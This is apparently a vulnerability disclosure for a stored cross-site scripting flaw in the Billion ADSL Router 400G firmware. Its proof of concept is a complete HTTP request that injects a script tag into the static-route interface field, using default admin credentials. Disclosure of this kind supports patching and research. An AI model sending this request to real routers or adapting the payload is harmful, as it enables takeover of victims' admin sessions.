Billion ADSL Router 400G 20151105641 Cross Site Scripting

`# Exploit Title: Billion ADSL Router 400G 20151105641 - Cross-Site Scripting  
# Author: Cakes  
# Discovery Date: 2018-09-30  
# Vendor Homepage: http://www.billion.com  
# Software Link: http://billionfirmware.co.za  
# Tested Version: 20151105641  
# Tested on OS: Kali Linux  
# CVE: N/A  
  
# Description:  
# Improper input validation on the router web interface allows attackers add a persistent   
# Cross-Site scripting attack on the IP Interface field when adding a new static route.   
# Simply intercept a new static route request and add in the XSS  
  
# Poc  
  
POST /configuration/edit-list.html HTTP/1.1  
Host: Target  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Referer: http://Target/configuration/edit-list.html  
Authorization: Basic YWRtaW46YWRtaW4=  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 93  
  
nodename=&destination=0.0.0.0&netmask=0.0.0.0&gateway=0.0.0.1&interface=<script>alert("Cakes");</script>&cost=1&action=create  
  
`